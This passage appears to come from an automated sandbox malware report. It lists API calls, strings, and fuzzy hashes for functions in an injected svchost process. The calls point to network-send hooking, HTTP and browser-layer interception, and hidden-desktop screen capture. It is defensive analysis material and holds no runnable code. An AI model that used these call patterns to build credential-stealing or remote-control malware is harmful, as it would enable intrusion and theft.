                                                                                                                                                                                                            • GetSystemMenu.USER32(00000000,00000000), ref: 02D0A2C4
                                                                                                                                                                                                            • GetMenuItemInfoA.USER32(00000000,0000F060,00000000,0000004C), ref: 02D0A2E8
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02D0A353
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 02D0A366
                                                                                                                                                                                                            • PostMessageA.USER32(?,?,00000001,00000000), ref: 02D0A389
                                                                                                                                                                                                            • PostMessageA.USER32(?,?,00000002,00000000), ref: 02D0A3AB
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 02D0A3E3
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02D0A40D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Message$Window$Post$ProcessThread$AncestorInfoLongMenuSend$ActiveClassCountItemLastPopupSystemTickTimeout
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 590198697-0
                                                                                                                                                                                                            • Opcode ID: 13fceb958e721a8680931750743445770cf81f8c56ff1d03c1159b985e38881f
                                                                                                                                                                                                            • Instruction ID: f381be683877361d5e3d76a864ce012fd081f9d6530536a4f98a3e9ad16b7817
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 13fceb958e721a8680931750743445770cf81f8c56ff1d03c1159b985e38881f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6BB14436E4031867EB209E68E8C4FBE73A8D745715F60813AFA459B3E2C7658C51C7A2
                                                                                                                                                                                                            Function 02D09050 Relevance: 25.6, APIs: 17, Instructions: 96windowsynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?), ref: 02D09062
                                                                                                                                                                                                              • Part of subcall function 02D08C30: SelectObject.GDI32(00000000,00000000), ref: 02D08C4A
                                                                                                                                                                                                              • Part of subcall function 02D08C30: DeleteObject.GDI32(00000000), ref: 02D08C59
                                                                                                                                                                                                              • Part of subcall function 02D08C30: DeleteDC.GDI32(00000000), ref: 02D08C67
                                                                                                                                                                                                              • Part of subcall function 02D08C30: SelectObject.GDI32(?,00000000), ref: 02D08C77
                                                                                                                                                                                                              • Part of subcall function 02D08C30: DeleteObject.GDI32(00000000), ref: 02D08C7F
                                                                                                                                                                                                              • Part of subcall function 02D08C30: DeleteDC.GDI32(?), ref: 02D08C88
                                                                                                                                                                                                              • Part of subcall function 02D08C30: GetDC.USER32(00000000), ref: 02D08C8C
                                                                                                                                                                                                              • Part of subcall function 02D08C30: CreateCompatibleDC.GDI32(00000000), ref: 02D08C9B
                                                                                                                                                                                                              • Part of subcall function 02D08C30: CreateCompatibleDC.GDI32(00000000), ref: 02D08CA3
                                                                                                                                                                                                              • Part of subcall function 02D08C30: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02D08CC4
                                                                                                                                                                                                              • Part of subcall function 02D08C30: SelectObject.GDI32(?,00000000), ref: 02D08CD3
                                                                                                                                                                                                              • Part of subcall function 02D08C30: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02D08CEE
                                                                                                                                                                                                              • Part of subcall function 02D08C30: SelectObject.GDI32(00000000,00000000), ref: 02D08D0D
                                                                                                                                                                                                              • Part of subcall function 02D08C30: ReleaseDC.USER32(00000000,00000000), ref: 02D08D1C
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000001F4), ref: 02D0907F
                                                                                                                                                                                                            • GetTopWindow.USER32(00000000), ref: 02D09092
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D090A9
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02D090C9
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D090CC
                                                                                                                                                                                                            • WindowFromPoint.USER32(?,?,00000000), ref: 02D090E0
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,?,00000005,00000000), ref: 02D09103
                                                                                                                                                                                                            • GetIconInfo.USER32(?,?), ref: 02D0910B
                                                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 02D09116
                                                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 02D09121
                                                                                                                                                                                                            • DrawIcon.USER32(00000000,00000000,?,?), ref: 02D09143
                                                                                                                                                                                                            • DestroyIcon.USER32(?,?,?,00000000), ref: 02D0914A
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,?,00000005,?), ref: 02D0915B
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000,?,?,00000000), ref: 02D09163
                                                                                                                                                                                                            • SetEvent.KERNEL32(00000000,?,?,00000000), ref: 02D09170
                                                                                                                                                                                                            • Sleep.KERNEL32(00000032), ref: 02D0917D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Object$Delete$CompatibleCreateSelectWindow$Icon$BitmapMessageReleaseSendSingleWait$DesktopDestroyDrawEventFromInfoMutexPointSleepThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1852974301-0
                                                                                                                                                                                                            • Opcode ID: 0402d567b5178d1a7ada7a4c9ac019ed76a6e36e38132ec547acea4ad88139e0
                                                                                                                                                                                                            • Instruction ID: 4e078fc62ee178ba4efb2556bb827b41990037d2e0698e540262b621f21e7bca
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0402d567b5178d1a7ada7a4c9ac019ed76a6e36e38132ec547acea4ad88139e0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 84312A7DA80301AFD210DF64E88CE6B77F9EB98B15B508A08B90587391DB70EC21CF61
                                                                                                                                                                                                            Function 02D192D0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 65libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(advapi32.dll,00000000,00000000,7591F550,7591DF10,02D1549B), ref: 02D192E1
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 02D192F3
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7591F550,00000000,75A7BD50,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A078
                                                                                                                                                                                                              • Part of subcall function 02D1A040: memcpy.MSVCRT ref: 02D1A0A0
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualProtect.KERNEL32(00000000,?,00000040,02D1938A,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A135
                                                                                                                                                                                                              • Part of subcall function 02D1A040: VirtualProtect.KERNEL32(?,00000000,00000040,02D1938A,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A14A
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(ws2_32.dll,00000000,00000000), ref: 02D19312
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,send), ref: 02D19320
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,WSASend), ref: 02D1933C
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,WSARecv), ref: 02D19358
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,recv), ref: 02D19374
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressProc$Virtual$LibraryLoadProtect$Allocmemcpy
                                                                                                                                                                                                            • String ID: CryptEncrypt$WSARecv$WSASend$advapi32.dll$recv$send$ws2_32.dll
                                                                                                                                                                                                            • API String ID: 1216545827-2206184491
                                                                                                                                                                                                            • Opcode ID: 9ae5b8e1ef7871efad9880e7c39c785902d91691505628907794cdab1a43f812
                                                                                                                                                                                                            • Instruction ID: 7265ef353c5220050a2179c32c43ca44d55f762b75f0f14db7194ec1e720df14
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9ae5b8e1ef7871efad9880e7c39c785902d91691505628907794cdab1a43f812
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 83011B6178172232FA3065667C22F8B124D6F45E94F250210B502F2B89DADCEC098878
                                                                                                                                                                                                            Function 02D230C8 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 56sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}), ref: 02D230DC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D230ED
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D23101
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2310F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D22F60,00000000,00000000,00000000), ref: 02D23124
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D23135
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D2313A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D2314E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D2315C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5CF94), ref: 02D23167
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,02D5CF94,RSTYLE), ref: 02D23181
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D2318A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$RSTYLE$\t
                                                                                                                                                                                                            • API String ID: 505831200-280280100
                                                                                                                                                                                                            • Opcode ID: 2fb6abefbb9b4d61297123735e0f4b2a2614094bf4d618928918003f3353894e
                                                                                                                                                                                                            • Instruction ID: abe8943704e80730eb7a606e220b6f9cd781662c966a800ec2ec6b5f504df77f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2fb6abefbb9b4d61297123735e0f4b2a2614094bf4d618928918003f3353894e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4B11C234AC53327BF6615BA0AC0EF1E37D49F64B19F204544F945613C09BF49C198BA6
                                                                                                                                                                                                            Function 004013C0 Relevance: 24.1, APIs: 16, Instructions: 133memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(00402A87,80000000,00000003,00000000,00000003,00000080,00000000,755CDB30,?,00000000,?,?,?,00401E04,00000000,755CDB30), ref: 004013E7
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 00401403
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 00401423
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 0040142A
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040143D
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00401E04), ref: 0040145A
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,00401E04), ref: 0040146A
                                                                                                                                                                                                            • ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,00401E04), ref: 00401479
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00401E04,00000000,?,00000000,?,?,?,00401E04), ref: 0040148C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004014A1
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 004014A4
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004014B1
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 004014B4
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,00401E04,00000000,755CDB30), ref: 004014D4
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,00401E04,00000000,755CDB30), ref: 004014E5
                                                                                                                                                                                                            • IsBadWritePtr.KERNEL32(?,00000004,755CDB30,?,00000000,?,?,?,00401E04,00000000,755CDB30,?,00000000,00402A87), ref: 004014F5
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHeap$Process$Handle$AllocCloseCreateFreeInformationLockPointerReadSizeUnlockValidateWritememset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 132362422-0
                                                                                                                                                                                                            • Opcode ID: 2415ac370f488f6398d7920364b1ddac94579256e75289cd9fb9599e4ac2c0e4
                                                                                                                                                                                                            • Instruction ID: 1e88e17013718af7825f0840a72b71bc919ec8abe2a586386afbdd05d1fe9019
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2415ac370f488f6398d7920364b1ddac94579256e75289cd9fb9599e4ac2c0e4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C04156B1900214BBE7219FE59D89FAFBB7CEB84B11F104125FB04B72D0D774594487A8
                                                                                                                                                                                                            Function 02D102A0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197memorynetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: memset.MSVCRT ref: 02D0FF54
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: GetProcessHeap.KERNEL32(00000000,?,?,?,?), ref: 02D0FF6C
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: HeapValidate.KERNEL32(00000000), ref: 02D0FF6F
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: GetProcessHeap.KERNEL32(00000000,?), ref: 02D0FF7C
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: HeapFree.KERNEL32(00000000), ref: 02D0FF7F
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: InternetQueryOptionA.WININET(?,00000022,00000000,-02D4FAE4), ref: 02D0FF9C
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: GetProcessHeap.KERNEL32(00000008,00000014), ref: 02D0FFB9
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: HeapAlloc.KERNEL32(00000000), ref: 02D0FFC0
                                                                                                                                                                                                              • Part of subcall function 02D0FF00: memset.MSVCRT ref: 02D0FFD0
                                                                                                                                                                                                            • ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,02D10DEE,?,?,?,?,?), ref: 02D102E2
                                                                                                                                                                                                            • InternetSetStatusCallback.WININET(?,02D10260), ref: 02D102F6
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00001010,?,?,?,?,?,?,?,?,?,02D10DEE,?,?,?,?), ref: 02D10307
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,02D10DEE,?,?,?,?,?), ref: 02D1030E
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D10321
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,02D10DEE,?,?,?,?,?), ref: 02D1035B
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D103A7
                                                                                                                                                                                                            • InternetSetStatusCallback.WININET(?,0000000100000000), ref: 02D103D5
                                                                                                                                                                                                            • SetLastError.KERNEL32(00002EE4,?,?,?,?,?,?,?,?,?,02D10DEE,?,?,?,?,?), ref: 02D10431
                                                                                                                                                                                                              • Part of subcall function 02D10140: GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,02D1043D,00000001), ref: 02D1016B
                                                                                                                                                                                                              • Part of subcall function 02D10140: HeapValidate.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D1016E
                                                                                                                                                                                                              • Part of subcall function 02D10140: GetProcessHeap.KERNEL32(00000000,?,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?), ref: 02D1017B
                                                                                                                                                                                                              • Part of subcall function 02D10140: HeapFree.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D1017E
                                                                                                                                                                                                              • Part of subcall function 02D10140: GetHandleInformation.KERNEL32(?,00000000,00000001,00000000,?,?,02D1043D,00000001), ref: 02D10197
                                                                                                                                                                                                              • Part of subcall function 02D10140: CloseHandle.KERNEL32(?,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101A8
                                                                                                                                                                                                              • Part of subcall function 02D10140: GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,02D1043D,00000001), ref: 02D101B8
                                                                                                                                                                                                              • Part of subcall function 02D10140: HeapValidate.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101BB
                                                                                                                                                                                                              • Part of subcall function 02D10140: GetProcessHeap.KERNEL32(00000000,?,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?), ref: 02D101C8
                                                                                                                                                                                                              • Part of subcall function 02D10140: HeapFree.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101CB
                                                                                                                                                                                                              • Part of subcall function 02D10140: GetProcessHeap.KERNEL32(00000000,?,00000001,00000000,?,?,02D1043D,00000001), ref: 02D101DB
                                                                                                                                                                                                              • Part of subcall function 02D10140: HeapValidate.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101DE
                                                                                                                                                                                                              • Part of subcall function 02D10140: GetProcessHeap.KERNEL32(00000000,?,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?), ref: 02D101EB
                                                                                                                                                                                                              • Part of subcall function 02D10140: HeapFree.KERNEL32(00000000,?,02D1043D,00000001,?,?,?,?,?,?,?,?,?,02D10DEE,?,?), ref: 02D101EE
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,02D10DEE,?,?,?,?), ref: 02D1046A
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,02D10DEE,?,?,?,?), ref: 02D1047E
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D10493
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate$Internetmemset$AllocCallbackErrorHandleLastReadStatusmemcpy$CloseEventInformationOptionQueryReset
                                                                                                                                                                                                            • String ID: (
                                                                                                                                                                                                            • API String ID: 2621060597-3887548279
                                                                                                                                                                                                            • Opcode ID: 432bd41d6bb69177b0d09faff2e24473abc87f545cdd0ac3239d4c576be0ce03
                                                                                                                                                                                                            • Instruction ID: b94e0fb637673d082d110e1137660f2e5e9047aebeb2ca5d9a53589fdde5de38
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 432bd41d6bb69177b0d09faff2e24473abc87f545cdd0ac3239d4c576be0ce03
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9D617D71604606BFD710EF64E885B6AB3A9FF48705F044A18FE489BB40DB74EC55CBA1
                                                                                                                                                                                                            Function 02D181F0 Relevance: 22.6, APIs: 15, Instructions: 149fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • fseek.MSVCRT ref: 02D18236
                                                                                                                                                                                                            • fwrite.MSVCRT ref: 02D18245
                                                                                                                                                                                                            • fseek.MSVCRT ref: 02D1825B
                                                                                                                                                                                                            • fread.MSVCRT ref: 02D18268
                                                                                                                                                                                                            • fseek.MSVCRT ref: 02D182F2
                                                                                                                                                                                                            • fwrite.MSVCRT ref: 02D182FF
                                                                                                                                                                                                            • fclose.MSVCRT ref: 02D18307
                                                                                                                                                                                                              • Part of subcall function 02D17CD0: fseek.MSVCRT ref: 02D17D5B
                                                                                                                                                                                                              • Part of subcall function 02D17CD0: fwrite.MSVCRT ref: 02D17D72
                                                                                                                                                                                                              • Part of subcall function 02D17CD0: fwrite.MSVCRT ref: 02D17D81
                                                                                                                                                                                                              • Part of subcall function 02D17CD0: fwrite.MSVCRT ref: 02D17DA1
                                                                                                                                                                                                            • free.MSVCRT(?,?,?,?,?,?,?,02D23EB4), ref: 02D18320
                                                                                                                                                                                                            • free.MSVCRT(?,?,?,?,?,?,?,02D23EB4), ref: 02D18326
                                                                                                                                                                                                            • free.MSVCRT(?,?,?,?,?,?,?,02D23EB4), ref: 02D1832C
                                                                                                                                                                                                            • free.MSVCRT(?,?,?,?,?,?,?,02D23EB4), ref: 02D18332
                                                                                                                                                                                                            • free.MSVCRT(?,?,?,?,?,?,?,02D23EB4), ref: 02D1833B
                                                                                                                                                                                                            • free.MSVCRT(?,?,?,?,?,?,?,02D23EB4), ref: 02D18341
                                                                                                                                                                                                            • free.MSVCRT(?,?,?,?,?,?,?,02D23EB4), ref: 02D18344
                                                                                                                                                                                                            • free.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,02D23EB4), ref: 02D18353
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: free$fwrite$fseek$fclosefread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2434908339-0
                                                                                                                                                                                                            • Opcode ID: db442a0f1256d05d1ad25d0bbe809607d54326940473d1329631236133033e51
                                                                                                                                                                                                            • Instruction ID: 655eddd29e985c29cca6336602074c953e204574c848b1485227f092fa06ab39
                                                                                                                                                                                                            • Opcode Fuzzy Hash: db442a0f1256d05d1ad25d0bbe809607d54326940473d1329631236133033e51
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1341B571650705AFE724DBA8DC81B6AB3E5EF98310F184A2DE595C77D1C278F804CB61
                                                                                                                                                                                                            Function 02D0E8C0 Relevance: 21.4, APIs: 7, Strings: 7, Instructions: 411COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0E8D4
                                                                                                                                                                                                            • StrCmpNIA.SHLWAPI(00000002,?,00000000,?,?,00000000,?,?,?,?,?,?,?,02D0F73F,?,?), ref: 02D0E935
                                                                                                                                                                                                            • StrCmpNIA.SHLWAPI(00000001,?,00000000,?,?,00000000,?,?,?,?,?,?,?,02D0F73F,?,?), ref: 02D0E9F1
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D0EB33
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D0EBEE
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D0EBFF
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D0EC31
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memcpy$memset
                                                                                                                                                                                                            • String ID: Content-Length$Content-Type$Host$NSS layer$Referer$http://$https://
                                                                                                                                                                                                            • API String ID: 438689982-3158524741
                                                                                                                                                                                                            • Opcode ID: 8d48c043481172cf68b5973b5524bb9957a16b01e5916a0a0550fe5ee3ea44df
                                                                                                                                                                                                            • Instruction ID: 0cb8ecfe512e8275033fe9dc99fa5ab56f4532ff271d386fc169fc6ded0b01e1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8d48c043481172cf68b5973b5524bb9957a16b01e5916a0a0550fe5ee3ea44df
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 73D12771E002165FEF358F68D8C0BEEBBA6AB45314F484E59D885A73E1D7309C41CBA0
                                                                                                                                                                                                            Function 02D23A00 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 121threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D19C), ref: 02D23A40
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D19C), ref: 02D23A7D
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D23A92
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D23A9C
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D23AA4
